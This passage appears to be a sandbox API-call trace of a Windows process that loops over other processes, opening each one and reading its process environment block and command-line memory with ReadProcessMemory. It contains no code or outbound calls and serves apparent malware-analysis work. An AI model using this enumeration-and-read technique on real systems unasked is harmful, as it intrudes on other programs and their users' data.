(in: _Value=0x1344, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0247.953] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4932") returned 4 [0247.954] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.954] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.971] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x300 [0247.971] GetLastError () returned 0x0 [0247.972] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.972] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x63c018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.972] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.972] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x181c40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.972] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1818c8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.974] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.024] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.024] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x63c020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.024] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1812b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.025] malloc (_Size=0x42) returned 0x196ef0fb5e0 [0248.025] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x181908, lpBuffer=0x196ef0fb5e0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb5e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.026] free (_Block=0x196ef0fb5e0) [0248.026] CloseHandle (hObject=0x300) returned 1 [0248.027] _ui64tow_s (in: _Value=0x3e4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="996") returned 0x0 [0248.032] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="996") returned 3 [0248.033] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.033] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.052] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3e4) returned 0x300 [0248.053] GetLastError () returned 0x0 [0248.053] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.053] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x6c4018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.054] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.054] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x9b1d40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.054] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x9b18c8, lpBuffer=0x67117c450, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.055] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.057] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.057] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x6c4020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.057] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x9b12b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.057] malloc (_Size=0x9c) returned 0x196ef0faf20 [0248.057] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x9b195e, lpBuffer=0x196ef0faf20, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faf20*, lpNumberOfBytesRead=0x0) returned 1 [0248.058] free (_Block=0x196ef0faf20) [0248.059] CloseHandle (hObject=0x300) returned 1 [0248.060] _ui64tow_s (in: _Value=0xc10, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3088") returned 0x0 [0248.064] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3088") returned 4 [0248.066] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.066] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.117] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x300 [0248.117] GetLastError () returned 0x0 [0248.118] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.118] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x247018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.118] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.118] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5f1c20, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.118] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5f18c8, lpBuffer=0x67117c450, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.120] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.121] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.121] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x247020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.121] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5f12b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.121] malloc (_Size=0x38) returned 0x196ef0d0a90 [0248.121] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5f18fe, lpBuffer=0x196ef0d0a90, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0a90*, lpNumberOfBytesRead=0x0) returned 1 [0248.122] free (_Block=0x196ef0d0a90) [0248.123] CloseHandle (hObject=0x300) returned 1 [0248.124] _ui64tow_s (in: _Value=0xc3c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3132") returned 0x0 [0248.129] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3132") returned 4 [0248.130] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.130] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.165] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc3c) returned 0x300 [0248.165] GetLastError () returned 0x0 [0248.166] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.166] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x724018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.166] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.166] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x911d00, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.166] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x9118c8, lpBuffer=0x67117c450, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.168] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.169] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.169] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x724020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.169] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x9112b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.169] malloc (_Size=0x88) returned 0x196ef0d6db0 [0248.169] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x91194a, lpBuffer=0x196ef0d6db0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6db0*, lpNumberOfBytesRead=0x0) returned 1 [0248.170] free (_Block=0x196ef0d6db0) [0248.171] CloseHandle (hObject=0x300) returned 1 [0248.172] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0248.177] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3180") returned 4 [0248.179] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.179] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.228] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x300 [0248.228] GetLastError () returned 0x0 [0248.229] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.229] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4c2018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.229] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.229] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x711d40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.229] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7118c8, lpBuffer=0x67117c450, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.230] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.232] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.232] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4c2020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.232] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7112b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.232] malloc (_Size=0x9c) returned 0x196ef0fadc0 [0248.232] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x71195e, lpBuffer=0x196ef0fadc0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fadc0*, lpNumberOfBytesRead=0x0) returned 1 [0248.233] free (_Block=0x196ef0fadc0) [0248.234] CloseHandle (hObject=0x300) returned 1 [0248.235] _ui64tow_s (in: _Value=0xc88, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3208") returned 0x0 [0248.241] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3208") returned 4 [0248.243] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.243] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.265] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc88) returned 0x300 [0248.265] GetLastError () returned 0x0 [0248.265] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.265] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x14ee12a018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.266] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.266] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f644003670, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.266] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f6440032b4, lpBuffer=0x67117c450, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.267] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.268] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.268] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x14ee12a020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.269] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f644002c20, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.269] malloc (_Size=0xda) returned 0x196ef0d4e70 [0248.269] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f64400330a, lpBuffer=0x196ef0d4e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0248.270] free (_Block=0x196ef0d4e70) [0248.271] CloseHandle (hObject=0x300) returned 1 [0248.271] _ui64tow_s (in: _Value=0xca0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3232") returned 0x0 [0248.278] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3232") returned 4 [0248.279] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.279] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.297] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca0) returned 0x300 [0248.297] GetLastError () returned 0x0 [0248.297] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.297] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x668018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.297] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.298] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1a1c50, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.298] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1a18c8, lpBuffer=0x67117c450, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.299] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.300] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.300] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x668020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.301] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1a12b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.301] malloc (_Size=0x48) returned 0x196ef0fbd10 [0248.301] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1a190e, lpBuffer=0x196ef0fbd10, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbd10*, lpNumberOfBytesRead=0x0) returned 1 [0248.302] free (_Block=0x196ef0fbd10) [0248.303] CloseHandle (hObject=0x300) returned 1 [0248.315] _ui64tow_s (in: _Value=0x10c0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4288") returned 0x0 [0248.320] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4288") returned 4 [0248.321] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.322] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.339] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x300 [0248.339] GetLastError () returned 0x0 [0248.340] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.340] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x24e018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.340] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.340] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x431c70, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.340] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x431948, lpBuffer=0x67117c450, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.341] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.343] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.343] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x24e020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.343] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x431330, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.343] malloc (_Size=0x3e) returned 0x196ef0fb4a0 [0248.343] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x43197e, lpBuffer=0x196ef0fb4a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb4a0*, lpNumberOfBytesRead=0x0) returned 1 [0248.344] free (_Block=0x196ef0fb4a0) [0248.345] CloseHandle (hObject=0x300) returned 1 [0248.345] _ui64tow_s (in: _Value=0xab4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="2740") returned 0x0 [0248.350] _vsnwprintf (in: 